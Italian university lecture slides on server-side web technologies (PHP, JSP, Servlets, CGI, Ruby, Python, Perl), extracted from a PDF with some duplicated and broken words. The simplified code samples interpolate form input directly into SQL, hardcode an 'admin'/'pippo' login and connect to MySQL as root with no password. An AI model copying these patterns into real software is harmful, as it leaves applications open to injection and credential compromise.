Scripting server-side - I Scripting server-side - II

Scripting server-side - I
Linguaggi di programmazione per costruire applicazioni web:
Client-side
• Javascript
• (Adobe Flash)
Server-side
• scripting (PHP, .NET, JSP)
• Java Servlet
• Ruby, Python e Perl
• (Javascript)
Approcci ibridi
• AJAX, JQuery
 rispetto alle distinzioni viste prima, queste soluzioni:
 sono linguaggi di programmazione o di scripting (e non di
mark-up)
 alcune sono tecnologie client-side (il codice è elaborato sul
client, dal browser), altre sono server-side (il codice è elaborato
sul server)
a.a. 2014/15
Tecnologie Web
1
Scripting server-side - II
I linguaggi di scripting server-side ci permettono di scrivere
pagine web che contengono:
• codice HTML (+ eventuale codice Javascript client-side) inviato al
client (browser) che lo interpreta
• codice di scripting server-side, interpretato dal web server:
al client (browser) viene inviato il risultato
dell'interpretazione (elaborazione), cioè – in linea di massima
– codice HTML
 rispetto alle distinzioni viste prima, i linguaggi di scripting
server-side:
 sono linguaggi di programmazione (e non di mark-up)
 sono eseguiti server-side (il codice è elaborato sul server)
a.a. 2014/15
Tecnologie Web
2
1
Scripting server-side - III
Le tecnologie server-side (in generale, e gli script server-side in
particolare) servono principalmente per:
1. acquisire informazioni dal client, per es: dati inseriti
dall'utente
dall
utente in un modulo online; dati contenuti in un link [1]
2. inserire dati in un database (per es. i dati di registrazione
di un utente) o leggere dati da un database (per es. per
verificare username e password di un utente) [2]
Per far funzionare gli script server-side è necessario che il web
server "supporti" la tecnologia utilizzata  è necessario che il
web server
se ve contenga
co e g u
un interprete
e p e e per
pe il linguaggio
gu gg o di
d
scripting prescelto [3]
Inoltre, siccome tipicamente gli script server-side interagiscono
con un database  è necessario che sul "server" ci sia un
DBMS[2] che supporti l'interazione con il database prescelto
a.a. 2014/15
Tecnologie Web
3
Scripting server-side - IV
nome = maria [1]
eta = 18-25
insert.php
HTTP
...
request
q
Web
Server
[3] Interprete HTTP
response
(es. PHP)
<?php
p p
$nome=$_POST["nome"];
$eta=$_POST["eta"];
...
//inserimento nel DB
?>
a.a. 2014/15
Come ti
chiami? maria
Quanti
da 18 a 25
anni hai?
invia
…
Ciao Maria!
Ho inserito i tuoi dati...
...
[2]
DBMS
(es: MySQL
Server)
DB
INSERT INTO utenti
VALUES ($nome, $eta)
Tecnologie Web
4
2
Inviare dati al Web Server - I
[1]
I dati da inviare al Web Server possono derivare da:
• moduli online (form)
• link con parametri
Il client invia i dati al Web Server inserendoli nell
nell'HTTP
HTTP
request
Esistono due modi per codificare i dati nell'HTTP request:
• metodo GET
• metodo POST
 vediamo:
1. moduli online (form)
2. link con parametri
3. contenuto di HTTP request
4. differenza tra i metodi GET e POST
a.a. 2014/15
Tecnologie Web
[1]
5
Inviare dati al Web Server - II
Moduli online (form)
[www.html.it/guide/guida-html/, lez. 44-50]
In HTML
HTML...
<FORM METHOD="POST"
ACTION="id.php" >
Login: <INPUT TYPE="TEXT" NAME="login"/>
Password: <INPUT TYPE="PASSWORD" NAME="pwd"/>
<INPUT TYPE="Submit" VALUE="OK"/>
</FORM>
... un modulo online (form) contiene:
a. campi di input (tag <INPUT...> e altri)
b. metodo (attributo METHOD del tag <FORM...>)
c. azione (attributo ACTION del tag <FORM...>)
a.a. 2014/15
Tecnologie Web
6
3
[1]
a.
Inviare dati al Web Server - III
campi di input = elementi attraverso cui l'utente
fornisce dei dati, per es:
tra i campi di input c'è anche il pulsante di invio!
b.
c.
metodo = modo in cui vengono codificati i dati da
inviare al server
azione
i
= script
i (o
( programma)) che
h "raccoglie"
"
li " edd
"elabora" i dati contenuti nel form
a.a. 2014/15
[1]
Tecnologie Web
7
Inviare dati al Web Server - IV
Contenuto di HTTP request
Cosa succede quando l'utente fa click sul pulsante di invio?
Viene costruita una HTTP request che contiene:
indicazione della risorsa server
server-side
side (script o
• ll'indicazione
programma) che "gestirà" i dati, ricavata dall'attributo
ACTION, per es: ACTION="id.php"
• i dati, nella forma di coppie <nome, valore>, ricavati
dai campi di input riempiti/selezionati dall'utente
Per es: HTTP request: risorsa = identif.php
g admin>
dati: <login,
<pwd, pippo>
All'interno di HTTP request i dati (parametri) possono
essere codificati in due modi, a seconda dell'indicazione
contenuta nell'attributo METHOD del tag <FORM...>...
a.a. 2014/15
Tecnologie Web
8
4
[1]
Inviare dati al Web Server - V
Differenza tra i metodi GET e POST
• metodo GET: i dati, cioè le coppie <nome, valore>, sono
scritti in coda alla risorsa  saranno quindi visibili nell'URL
(nella barra degli indirizzi del browser)
Per es: HTTP header
risorsa = identif.php ?login=admin&pwd=pippo
...
HTTP body
...
• metodo POST: i dati (parametri), cioè le coppie <nome,
valore>, sono scritti all'interno del corpo
p ((body)
y) di HTTP
request  non saranno quindi HTTP header
visibili nella barra degli
risorsa = identif.php
indirizzi del browser Per es: ...
HTTP body
dati: <login, admin>
<pwd, pippo>
Tecnologie Web...
a.a. 2014/15
[1]
9
Inviare dati al Web Server - VI
Link con parametri
In HTML...
<A HREF="param.php?risposta=alan">Alan</A> <BR>
<A HREF="param.php?risposta=kit">Kit</A> <BR>
<A HREF="param.php?risposta=john">John</A>
Cosa succede quando l'utente fa click sul un link?
Viene costruita una HTTP request che contiene:
HTTP header
risorsa = param.php
param php ?risposta
?risposta=kit
kit
...
HTTP body
...
NB l'indicazione della
risorsa server-side (script
o programma) è nel link
(attributo HREF), insieme
ai dati  il metodo usato nell'HTTP request per la codifica dei
dati è GET!
a.a. 2014/15
Tecnologie Web
10
5
[1]
Inviare dati al Web Server - VII
Vi ricordate l'URL rewriting, utilizzato per gestire la sessione
se i cookies sono stati disattivati?
Avevamo detto che il Web Server scrive il session-id come
parametro degli URL presenti nella pagina...
Ora siamo in grado di capire cosa vuol dire: quando il client
deve costruire un'HTTP request (per es. quando l'utente clicca
su un link), all'URL (risorsa) indicata nell'HTTP request viene
aggiuto il session-id; per es:
<A HREF="adduser.php">
diventa:
<A HREF="adduser.php?PHPSESSID=68cf093a2ec5aa4f6cb60">
a.a. 2014/15
Tecnologie Web
[2] Salvare
11
i dati in un database - I
• I database ci permettono di salvare dati in modo strutturato
• Esistono diverse tipologie di database, basate su principi di
strutturazione diversi: database relazionali, database ad
oggetti,
gg , ...
• I tipi di database più utilizzati sono i database relazionali
• La struttura di un database relazionale (quali tipi di
informazioni contiene, quali relazioni hanno le informazioni
tra loro, ...) può essere definita a vari livelli:
vista 1 vista 2
vista n
livello concettuale
livello logico
livello fisico
a.a. 2014/15
Tecnologie Web
12
6
[2] Salvare
i dati in un database - II
Livello logico: rappresentazione tabellare dei dati
Esempio:
colonna/campo
Tabella: LIBRI
N.Inv
Autore
Titolo
Anno_ed
Casa_ed
riga/record
cella
Quando vogliamo costruire una tabella, dobbiamo innanzitutto
definire la sua struttura: i nomi dei campi (colonne) e i tipi di
dati in essi contenuti
a.a. 2014/15
Tecnologie Web
[2] Salvare
13
i dati in un database - III
Interazione con un database (utente, tramite una User
Interface, o script server-side/programma):
• interrogazione (leggo da DB)
• inserimento di dati (scrivo nel DB)
• cancellazione di dati ("scrivo" nel DB)
• aggiornamento
User Interface
(scrivo nel DB)
database
Script (server-side)
<?
$c=mysql_connect("localhost“,"root","");
mysql_select_db("bacheca");
$sql="SELECT * FROM ut WHERE co='Rossi'";
$ris = mysql_query($sql)
...
?>
a.a. 2014/15
Tecnologie Web
14
7
[2] Salvare
i dati in un database - IV
Ogni interazione con la base di dati:
– viene interpretata, analizzata ed eseguita dal DBMS
(DataBase Management System)
– costituisce una query, espressa (direttamente oppure
tradotta) in SQL (Structured Query Language), es:
SELECT * FROM libri WHERE editore='Feltrinelli'
INSERT INTO utenti VALUES (nome, eta)
– restituisce come risultato un insieme di record (recordset),
es: n.inv autore titolo casa_ed
123
456
789
Allende Eva Luna Feltrinelli
Terra
Feltrinelli
Benni
Feltrinelli
Voltolini 10
a.a. 2014/15
[3] Interpretare
Tecnologie Web
15
gli script server-side - I
Le principali tecnologie di scripting server-side sono:
• PHP: open source [www.php.net,
www.html.it/guide/guida-php-di-base/]
• ASP
ASP.NET
NET [www.asp.net
www asp net]: complesso framework di
Microsoft per lo sviluppo di pagine ed applicazioni Web
che include anche meccanismi di scripting server-side
(ma non è limitato a questi), es. con i linguaggi Visual
Basic o C#
• JSP (Java Server Pages): di Sun Microsystems/Oracle
[www.oracle.com/technetwork/java/javaee/jsp/index.html]
A cui si è aggiunto, recentemente, un linguaggio di
programmazione che può essere usato anche come
linguaggio di scripting (server-side):
• Ruby: open source [www.ruby-lang.org]
a.a. 2014/15
Tecnologie Web
16
8
[3] Interpretare
gli script server-side: PHP - I
Applicazione web scritta in PHP = insieme di "pagine web",
cioè file di testo, con estensione .php, che contengono:
– Codice HTML (+ eventualmente Javascript client-side)
– Codice PHP ((= script server-side)
server side)
Esempio:
<P ALIGN="CENTER">
HTML (interpretato
<FONT FACE="Verdana" SIZE="3">
dal browser)
<B>Prova form 1 (php)</B></FONT>
</P>
<?
script PHP
$id = $_POST["login"];
((interpretato
p
$pwd = $
$_POST["password"];
POST["password"];
if ($id == "admin" && $pwd == "pippo") {
dall'interprete
echo "<P>Benvenuto amministratore!</P>";}
PHP, sul server)
else {
echo "<P>Buongiorno ".$id."</P>";}
?>
a.a. 2014/15
[3] Interpretare
Tecnologie Web
17
gli script server-side: PHP - II
Tipicamente:
sistema web server DBMS interprete script
operativo
server-side
Linux
Apache
p
MySQL
y Q
PHP
L.
A.
M.
Linux (www.linuxfoundation.org)
Apache (www.apache.org)
MySQL (www.mysql.com)
PHP (www.php.net)
P.
tutte tecnologie
Open Source[*]
N : so
NB:
sono
o poss
possibili
b combinazioni
co b a o ddiverse...
ve se...
Per es: Windows + Apache + MySQL + PHP = W.A.M.P.
Mac OS + Apache + MySQL + PHP = M.A.M.P.
Nota: XAMPP = pacchetto multi-piattaforma (X = qualunque
S.O.) contenente Apache, MySQL, PHP e Perl
a.a. 2014/15
Tecnologie Web
18
9
[*] Digressione:
Open Source - I
Breve parentesi sull'open source
[www.opensource.org]
Open Source Initiative (OSI) = associazione no-profit che
ha ll'obiettivo
obiettivo di gestire e promuovere la produzione di
software open source
Il software open source (o software libero) deve rispettare
una serie di criteri:
•
•
•
•
•
Il codice sorgente del programma deve essere disponibile
Il software può essere modificato e distribuito (con un
nome diverso) alle stesse condizioni
La licenza del software deve consentire a chiunque di
ridistribuire il software secondo le stesse modalità
Chiunque può partecipare allo sviluppo del software
Il software deve essere distribuito gratuitamente (senza
diritti d'autore o profitti)
a.a. 2014/15
Tecnologie Web
[*] Digressione:
19
Open Source - II
L'idea che sta alla base dell'Open Source Initiative è la
seguente: quando i programmatori hanno la possibilità di
leggere, modificare e ridistribuire il codice sorgente di un
programma quel software si evolve
programma,
evolve. La gente lo migliora,
migliora
lo adatta, lo corregge. E tutto questo può avvenire con una
rapidità che appare impressionante a chi è abituato ai
ritmi lenti dello sviluppo del software convenzionale.
La comunità dell'open source ha imparato che questo
rapido processo evolutivo produce software migliore
rispetto al tradizionale modello chiuso, nel quale solo
pochissimi
hi i i programmatorii hanno
h
accesso all codice
di
sorgente e tutti gli altri devono avere a che fare con un
imperscrutabile e oscuro blocco di bit.
[da www.opensource.org]
a.a. 2014/15
Tecnologie Web
20
10
[3] Interpretare
gli script server-side: ASP.NET
• ASP.NET = framework (gratuito) che supporta la
costruzione di applicazioni Web (pagine Web con estensione
.aspx)
• nel framework .NET possono essere utilizzi diversi linguaggi
di scripting/programmazione:
i ti /
i
il più
iù usato
t è Vi
Visuall C#
• Visual Studio = ambiente di sviluppo integrato (IDE) di
Microsoft per sviluppare applicazioni Web, mobile e
Windows in ambiente .NET  comprende:
– .NET Framework
– IIS (Web Server)
– SQL Server (DBMS)
• Visual Studio include anche delle librerie client-side (per
inserire script Javascript, AJAX, JQuery, ...)
• Visual Studio Express = versione gratuita per sviluppare
app. Web (scaricabile da www.asp.net, Get Started)
a.a. 2014/15
[3] Interpretare
Tecnologie Web
21
gli script server-side: JSP - I
Applicazione web basata sulle JSP (Java Server Pages) =
insieme di "pagine web", cioè file di testo, con estensione .jsp,
che contengono:
– Codice HTML (+ eventualmente Javascript client-side)
– Codice
C di Java,
J
oppure tag JSTL (JSP Standard
S d d Tag
T Library
Lb
= libreria di tag che corrispondono ad istruzioni Java)
Esempio:
<P ALIGN="CENTER">
HTML (interpretato
<FONT FACE="Verdana" SIZE="3">
<B>Prova JSP/JSTL (sql)</B></FONT> dal browser)
</P>
<sql:setDataSource driver="com
driver= com.mysql.jdbc.Driver
mysql jdbc Driver" JSTL
url="jdbc:mysql://localhost/database_name"
tags
var="localSource" user="database_user"
password="database_password"/>
<sql:query dataSource="${localSource}"
sql="SELECT * FROM products WHERE price > 100"
var="result" />
a.a. 2014/15
Tecnologie Web
22
11
[3] Interpretare
gli script server-side: JSP - II
Note:
• Java è un linguaggio di programmazione orientato agli
oggetti[*], nato all’inizio degli anni '90 presso la Sun
Microsystems (ora Oracle), che viene (apparentemente)
utilizzato anche come linguaggio di scripting...
scripting
• I tag JSTL assomigliano ai tag di un linguaggio di mark-up...
ma non lo sono! Vengono infatti tradotti in istruzioni Java
Infatti...
il funzionamento delle JSP è diverso rispetto alle altre
tecnologie di scripting (es. PHP): una JSP viene tradotta in
una Java Servlet,
Servlet cioè un programma Java che viene poi
automaticamente compilato ed eseguito: la sua esecuzione
genera la pagina Web
Vediamo cosa sono le Servlet, poi torniamo a vedere come
funzionano le JSP...
a.a. 2014/15
[*] Digressione:
Tecnologie Web
23
paradigmi di programmazione - I
Metodo classico di software design = top-down functional
(structured) design = scomposizione gerarchica funzionale

paradigma procedurale: procedura (algoritmo) =
sequenza di passi per raggiungere il risultato
Pes es. iscrizione ad un appello =
scomposizione in passi via via più
semplici, elementari = procedura
per iscriversi ad un appello
iscrizione
login
ins. id-pswd
p
selez.es.
prenotaz.
autorizzaz.
ecc…
ver. id-pswd
PROGRAMMI = PROCEDURE + STRUTTURE-DATI
a.a. 2013/14
Tecnologie Web
24
12
[*] Digressione:
paradigmi di programmazione - II
Metodo alternativo = object-oriented design = si parte
dagli oggetti, non dalle funzionalità!

paradigma ad oggetti: oggetti che interagiscono tra loro
scambiandosi
bi d i dei
d i messaggii = collaborazione
ll b
i
per
raggiungere il risultato
Pes es. iscrizione ad un appello = entità coinvolte
nell'attività e loro relazioni
verifica
gestore
id-pswd
id-pswd
dati
studenti
autorizz.
selez.
appello
interfaccia
studenti
prenota app
app.
gestore
appelli
ecc…
PROGRAMMI = OGGETTI (DATI + PROCEDURE) +
COLLABORAZIONE (MESSAGGI)
a.a. 2013/14
[*] Digressione:
Tecnologie Web
25
paradigmi di programmazione - III
• I linguaggi orientati agli oggetti (object-oriented) sono
caratterizzati dall'uso della dot notation, per es:
window.close();
[istruzione Javascript per chiudere la finestra corrente]
document.write("...");
[istruzione Javascript per scrivere qualcosa nella pagina corrente]
• Esempi di linguaggi object-oriented:
Java, C++, Javascript, (parzialmente) PHP, (volendo)
Ruby, (volendo) Python, ...
a.a. 2013/14
Tecnologie Web
26
13
Java Servlet - I
Linguaggi di programmazione per costruire applicazioni web:
Client-side
• Javascript
• (Adobe Flash)
Server-side
• scripting (PHP, .NET, JSP)
• Java Servlet
• Ruby, Python e Perl
• (Javascript)
Approcci ibridi
• AJAX, JQuery
 rispetto alle distinzioni viste prima, queste soluzioni:
 sono linguaggi di programmazione o di scripting (e non di
mark-up)
 alcune sono tecnologie client-side (il codice è elaborato sul
client, dal browser), altre sono server-side (il codice è elaborato
sul server)
a.a. 2014/15
Tecnologie Web
27
Java Servlet - II
Le Java Servlet (www.oracle.com/technetwork/java/index-jsp135475.html) sono dei programmi Java pensati per la
programmazione sul Web 
• li si deve poter invocare "attraverso" il Web Server (per es.
es
tramite un URL)
• devono essere in grado di manipolare HTTP (request e
response); in particolare:
 il Web Server deve poter passare al programma la HTTP
request proveniente dal client (browser) contenente i dati,
affinché la Servlet possa leggerne il contenuto
 quando la Servlet ha elaborato il risultato (per es. un
frammento di codice HTML), lo mette dentro all'HTTP
response che verrà inviata al client (browser) dal Web
Server
a.a. 2014/15
Tecnologie Web
28
14
Java Servlet - III
Le Servlet (come le tecnologie di scripting server-side) servono
principalmente per:
1. acquisire informazioni dal client, per es: dati inseriti
dall'utente in un modulo online; dati contenuti in un link
2. inserire dati in un database (per es. i dati di registrazione di
un utente) o leggere dati da un database (per es. per
verificare username e password di un utente)
 tutto ciò che abbiamo detto (parlando di scripting server-side)
a proposito di: moduli online (form), link con parametri,
contenuto di HTTP request, differenza tra GET e POST, vale
anche per le Servlet!
 rispetto alle distinzioni viste prima, le Servlet
 sono programmi Java, che è un linguaggio di
programmazione
 sono eseguite server-side (il codice è eseguito sul server)
a.a. 2014/15
Tecnologie Web
29
Java Servlet - IV
Per costruire un'applicazione Web basata sulle Servlet è
necessario un Servlet Container (o Web Container o
Servlet Engine) che:
– "carica" le Servlet nel processo del Web Server (alla
prima invocazione della Servlet)
– supporta il protocollo HTTP (per gestire il flusso HTTP
request/HTTP response)
– gestisce al suo interno più applicazioni, ognuna
identificata da un servlet context (nome univoco)
a.a. 2014/15
Tecnologie Web
30
15
Java Servlet - V
nome = maria
eta = 18-25
"inserisci"
...
HTTP
request
Web
Server
interprete
bytecode
Java (JRE)
Servlet HTTP
Container response
SERVLET inserisci
DBMS
Print("Ciao,"+nome);
...
//inserimento nel DB
/*invia ris in
HTTPresponse*/
a.a. 2014/15
(es: MySQL
Server)
Come ti
chiami? maria
Quanti
da 18 a 25
anni hai?
invia
…
Ciao Maria!
Maria!
Ciao
Ho inserito i tuoi dati...
... …
DB
INSERT INTO utenti
VALUES ($nome, $eta)
Tecnologie Web
31
Java Servlet - VI
Tipi di Servlet Container:
• Servlet Container incluso nel Web server: alcuni Web
server ((scritti in Java)) includono un Servlet Container;;
per es: Tomcat [vedi prossima slide]
• Servlet Container in J2EE Application Server:
esiatono degli Application Server che includono un Web
server e un Servlet Container; per es: Glassfish [vedi
prossima slide]
• Servlet Container in "runtime"
runtime separato: Web server
come Apache e Microsoft IIS necessitano di un Servlet
Container in un modulo separato per gestire le Servlet (+
un plug-in che gestisce la comunicazione tra Web server
e Servlet Container)
a.a. 2014/15
Tecnologie Web
32
16
Java Servlet - VII
Tomcat (tomcat.apache.org)
Tomcat è un Web server open source, sviluppato
dalla Apache Software Foundation, che include un
Servlet Container
Glassfish (glassfish.java.net)
GlassFish è un Application Server[*] open source,
sviluppato inizialmente dalla Sun Microsystems e
attualmente gestito dalla Oracle; include un Web server e
un Servlet Container
[*] Application
A li ti Server
S
= software
ft
che
h comprende
d diverse
di
funzionalità per la gestione di applicazioni complesse;
tipicamente, include un Web server
a.a. 2014/15
[3] Interpretare
Tecnologie Web
33
gli script server-side: JSP - III
Torinamo alle JSP e cerchiamo di capire come funzionano...
Alla prima richiesta di una pagina JSP, viene invocato un
Compilatore JSP che crea una Java Servlet:
p ) in
– trasforma i tagg HTML ((e le eventuali istruzioni Javascript)
istruzioni Java che scrivono nel body della HTTPresponse
(quindi sulla pagina Web che sarà visualizzata dal browser)
es: <P ALIGN='CENTER'>  PrintWriter pw;
pw = httpResp.getWriter();
pw.print("<P ALIGN='CENTER'>");
– se la JSP contiene direttamente codice Java, lo include nella
Servlet
– se la JSP contiene tag JSTL, li traduce in istruzioni Java e
le include nella Servlet
a.a. 2014/15
Tecnologie Web
34
17
[3] Interpretare
gli script server-side: JSP - IV
 per far funzionare le JSP è necessaria la stessa tecnologia
che si usa per le Java Servlet (un Web server con un
Servlet Container) + un compilatore JSP (motore JSP),
che traduce la JSP in una Servlet
Tomcat e Glassfish contengono, oltre al Servlet Container,
anche il motore JSP
a.a. 2014/15
Tecnologie Web
35
Ruby, Python e Perl
Linguaggi di programmazione per costruire applicazioni web:
Client-side
• Javascript
• (Adobe Flash)
Server-side
• scripting (PHP, .NET, JSP)
• Java Servlet
• Ruby, Python e Perl
• (Javascript)
Approcci ibridi
• AJAX, JQuery
 rispetto alle distinzioni viste prima, queste soluzioni:
 sono linguaggi di programmazione o di scripting (e non di
mark-up)
 alcune sono tecnologie client-side (il codice è elaborato sul
client, dal browser), altre sono server-side (il codice è elaborato
sul server)
a.a. 2014/15
Tecnologie Web
36
18
Common Gateway Interface (CGI) - I
Per capire come funzionano Ruby, Python, Perl dobbiamo
introdurre un "vecchio" concetto: gli script CGI 
• CGI = Common Gateway Interface = standard che definisce
la comunicazione tra un Web Server e programma
p g
(generalmente compilato), che risiede sul file system del
server
NB si usa spesso il termine "script CGI" (o "CGI scripting"), ma
NON si tratta di script che si trovano all'interno di una pagina web
(accanto all'HTML)!! Si tratta invece di programmi "veri e propri",
generalmente compilati (il cui funzionamento è simile a quello delle
Java Servlet))
• I linguaggi di programmazione più usati sono Perl, Python,
C e C++
NOTA: esiste una tecnologia chiamata FastCGI che permette l'uso di
linguaggi di scripting interpretati (e non compilati) con CGI (x es. PHP)
a.a. 2014/15
Tecnologie Web
37
Common Gateway Interface (CGI) - II
Come funziona un programma CGI? Il Web Server...
1. riceve dal Web Client (browser), tramite URL (es:
http://myserver.it/cgi-bin/myprogram?par1=pri&par2=sec), la
richiesta di (esecuzione di) un programma
(eventualmente con dei parametri)
2. attraverso l'interfaccia CGI[*], passa al programma i dati
(parametri) ricevuti
3. attraverso l'interfaccia CGI[*], manda in esecuzione il
programma richiesto e riceve il risultato dell'elaborazione
(sempre tramite l'interfaccia CGI)
4 invia al Web Client (browser) il risultato
4.
• RISORSE:




http://www.tutorialspoint.com/perl/perl_cgi.htm
openskill.info/infobox.php?ID=538
telemat.det.unifi.it/book/Unix/Unix/relaz/cgi.htm
it.wikipedia.org/wiki/Common_Gateway_Interface
a.a. 2014/15
Tecnologie Web
38
19
Common Gateway Interface (CGI) - III
[*] In cosa consiste un'interfaccia CGI?
Configurazione del Web Server (a cui si dicono varie cose, di
cui la più importante è dove  percorso nel file system  si
trovano i programmi CGI: generalemente cartella cgi-bin)
Un programma CGI contiene,
contiene tipicamente,
tipicamente istruzioni che
corrispondono a comandi del sistema operativo o istruzioni in un
linguaggio di programmazione (es. Perl, Python, C e C++); x es
(Perl):
#!/usr/bin/perl –Tw
print "Content-Type: text/html\n\n";
print "<html><head<title>HP</title></head>";
...
 il Web Server,, quanto
q
riceve una HTTP request,
q
, riconosce che
si tratta della richiesta di esecuzione di un programma CGI se è
stato opportunamente configurato e se il programma è presente
nella cartella apposita (generalemente cgi-bin)
 il programma CGI viene eseguito (spesso la prima riga
contiene l'indicazione di quale interprete usare)
a.a. 2014/15
Tecnologie Web
39
Common Gateway Interface (CGI) - IV
nome = maria
eta = 18-25
"inserisci"
...
HTTP
request
Web
Server
config x CGI
HTTP
response
CGI
interprete
programma (es.
Python) inserisci
print("Ciao,"+nome);
...
#inserimento nel DB
#invia ris in
#HTTPresponse
a.a. 2014/15
DBMS
(es: MySQL
Server)
Come ti
chiami? maria
Quanti
da 18 a 25
anni hai?
invia
…
Ciao Maria!
Maria!
Ciao
Ho inserito i tuoi dati...
... …
DB
INSERT INTO utenti
VALUES (nome, eta)
Tecnologie Web
40
20
Ruby - I
•
Ruby (www.ruby-lang.org) è linguaggio di
programmazione molto utilizzato sul web (serverside), creato in Giappone all'inizio degli anni '90
• E' open source
• E' un linguaggio object-oriented (ma supporta diversi
paradigmi di programmazione)
• E' un linguaggio interpretato
• Sul web può essere usato
a) per scrivere programmi ("script") invocabili tramite CGI
(www.html.it/pag/17448/cgi
www html it/pag/17448/cgi),
) oppure
b) come linguaggio di scripting (nelle pagine HTML, con
estensione .rhtml)  grazie a embedded Ruby
(eRuby/ERb): www.html.it/pag/17450/embedded-ruby
• Una guida: www.techotopia.com/index.php/Ruby_Essentials
a.a. 2014/15
Tecnologie Web
41
Ruby – II
a) con CGI
nome = maria
eta = 18-25
"inserisci"
...
HTTP
request
Web
Server
config x CGI
HTTP
response
CGI
interprete Ruby
programma Ruby
inserisci
puts "Ciao,"+nome
...
#inserimento nel DB
#invia ris in
#HTTPresponse
a.a. 2014/15
DBMS
(es: MySQL
Server)
Come ti
chiami? maria
Quanti
da 18 a 25
anni hai?
invia
…
Ciao Maria!
Maria!
Ciao
Ho inserito i tuoi dati...
... …
DB
INSERT INTO utenti
VALUES (nome, eta)
Tecnologie Web
42
21
Ruby – III
b) nelle pagine
HTML
nome = maria
eta = 18-25
"ins.rhtml"
...
HTTP
request
Web
Server
Interprete HTTP
response
Ruby
<%
p
[
]
nome=params[:nome]
eta=params[:eta]
...
#inserimento nel DB
%>
a.a. 2014/15
DBMS
(es: MySQL
Server)
Come ti
chiami? maria
Quanti
da 18 a 25
anni hai?
invia
…
Ciao Maria!
Ho inserito i tuoi dati...
...
DB
INSERT INTO utenti
VALUES ($nome, $eta)
Tecnologie Web
43
Python - I
•
Python (www.python.org) è linguaggio di
programmazione molto utilizzato sul web (server-side)
• La sua implementazione di base (CPython, reference
p
) è open
p source ed è ggestita dalla Python
y
implementation)
Software Foundation (www.python.org/psf)
• E' un linguaggio object-oriented (ma supporta diversi
paradigmi di programmazione)
• Utilizza un approccio "misto" (come Java): il codice sorgente
viene compilato in un linguaggio intermedio (bytecode),
specifico
p
di Python,
y
il quale
q
viene poi
p interpretato
p
ed
eseguito dall'interprete (Virtual Machine)
• Sul web può essere usato per scrivere programmi ("script")
invocabili tramite CGI (https://docs.python.org/2/library/cgi.html)
• Una guida: www.erweb.it/pub/tecnologie_python.php
a.a. 2014/15
Tecnologie Web
44
22
Python - II
• E' uno dei 4 linguaggi utilizzati da Google (insieme a
Javascript, Java e C++), è il principale linguaggio con cui è
implementato YouTube, è usato al CERN e alla NASA, ...
• Nel download di Python (che comprende
nome = maria
compilatore
il
e
= 18-25
HTTP
interprete) è incluso eta
"inserisci"
request
...
anche un ambiente
Web
di sviluppo (un IDE:
Server
vedi prox slide)
config x CGI
chiamato
HTTP
response
IDLE
Come ti
chiami? maria
Quanti
da 18 a 25
anni hai?
invia
…
CGI
Ciao
Maria!
Ciao
Maria!
Ho inserito i tuoi dati...
... …
interprete bytecode Python
programma
Python inserisci
a.a. 2014/15
print("Ciao,"+nome);
...
#inserimento nel DB
#invia ris in
#HTTPresponseTecnologie Web
DBMS
(es: MySQL
Server)
DB
INSERT INTO utenti
VALUES (nome, eta)
45
Perl - I
•
Perl (https://www.perl.org) è linguaggio di
programmazione utilizzato anche sul web (serverside), creato nel 1987 da Larry Wall
• E' open source
• E' un linguaggio procedurale (ma supporta diversi paradigmi
di programmazione , tra cui quello object-oriented)
• E' un linguaggio interpretato
• Sul web può essere usato per scrivere programmi ("script")
invocabili tramite CGI
(www.tutorialspoint.com/perl/perl_cgi.htm
www.tutorialspoint.com/perl/perl cgi.htm)
• Una guida: www.erweb.it/pub/tecnologie_perl.php
a.a. 2014/15
Tecnologie Web
46
23
Perl - II
nome = maria
eta = 18-25
"inserisci"
...
HTTP
request
Web
Server
config x CGI
HTTP
response
CGI
interprete Perl
programma
Perlinserisci
print "Ciao,"+nome;
...
#inserimento nel DB
#invia ris in
#HTTPresponse
a.a. 2014/15
DBMS
(es: MySQL
Server)
Come ti
chiami? maria
Quanti
da 18 a 25
anni hai?
invia
…
Ciao Maria!
Maria!
Ciao
Ho inserito i tuoi dati...
... …
DB
INSERT INTO utenti
VALUES (nome, eta)
Tecnologie Web
47
Integrated Development Environments (IDE)
• IDE = Integrated Development Environment = strumento
software che offre diverse funzionalità integrate a supporto
della programmzione
[it.wikipedia.org/wiki/Integrated_development_environment
it.wikipedia.org/wiki/Integrated development environment]
• Tipicamente include:
– un editor per scrivere/modificare il codice sorgente
– compilatori/interpreti e strumenti per la corretta
creazione dell'applicazione finale (es. file di
configurazione, ecc.)
– strumenti per il "debugging"
debugging , cioè per la ricerca e la
correzione degli errori ("bug" = errore nel software)
• Alcuni IDE sono dedicati ad un singolo linguaggio di
programmazione, altri supportano più linguaggi
a.a. 2014/15
Tecnologie Web
48
24
IDE: NetBeans
• NetBeans (https://netbeans.org/) nasce alla Sun Microsystems
ed è ora della Oracle
• NetBeans nasce come IDE per Java, ma è stato poi esteso per
supportare vari altri linguaggi per sviluppare applicazioni
W b tra cuii Javascript,
Web,
J
i PHP
a.a. 2014/15
Tecnologie Web
49
IDE: Eclipse
• Eclipse (www.eclipse.org) è un IDE open source, multilinguaggio, molto utilizzato per sviluppare applicazioni (Web)
Java
• Può essere esteso per supportare diversi linguaggi (per es. PHP,
P ht Ruby,
Pyhton,
R b Javascript)
J
i t) e tipi
ti i di applicazioni
li i i (es.
( applicazioni
li i i
per smartphone) con l'aggiunta di opportuni plug-in
a.a. 2014/15
Tecnologie Web
50
25
Software frameworks - I
• Software framework (o semplicemente framework) =
o ambiente software, generalmente un insieme di
librerie[*]
o che offre dei template (("modelli")
modelli ) astratti di codice che
implementano funzionalità generiche e che possono
essere modificati dal programmatore aggiungendo codice
specifico, così da implementare funzionalità specifiche
o generalmente un framework comprende anche
compilatori/interpreti
• Web Application Framework (WAF) = software
framework per lo svuiluppo di applicazioni Web
Generalmente un WAF comprende librerie per l'accesso a
database, la gestione delle sessioni, ecc.
[it.wikipedia.org/wiki/Framework]
a.a. 2014/15
Tecnologie Web
51
Software frameworks - II
[*] libreria = insieme di funzioni (o strutture dati) predefinite,
utilizzabili all'interno di un programma; lo sviluppo di librerie ha
lo scopo di fornire al programmatore funzionalità "già pronte",
evitandogli
Es: in NetBeans...
di dover
riscrivere
ogni volta
le stesse
funzioni
(es. accesso
a database,
manipola
manipolaz.
di dati in
formati
particolari,
ecc.)
a.a. 2014/15
Tecnologie Web
52
26
Software frameworks - III
• Una delle principali caratteristiche dei framework è che
generalmente offrono la possibilità di sviluppare
applicazioni multi-piattaforma (o cross-platform): il
codice sorgente viene scritto una sola volta e poi distribuito
su più piattaforme  il framework si occuperà di
ricompilare il codice in modo che si adatti automaticamente
a sistemi operativi diversi
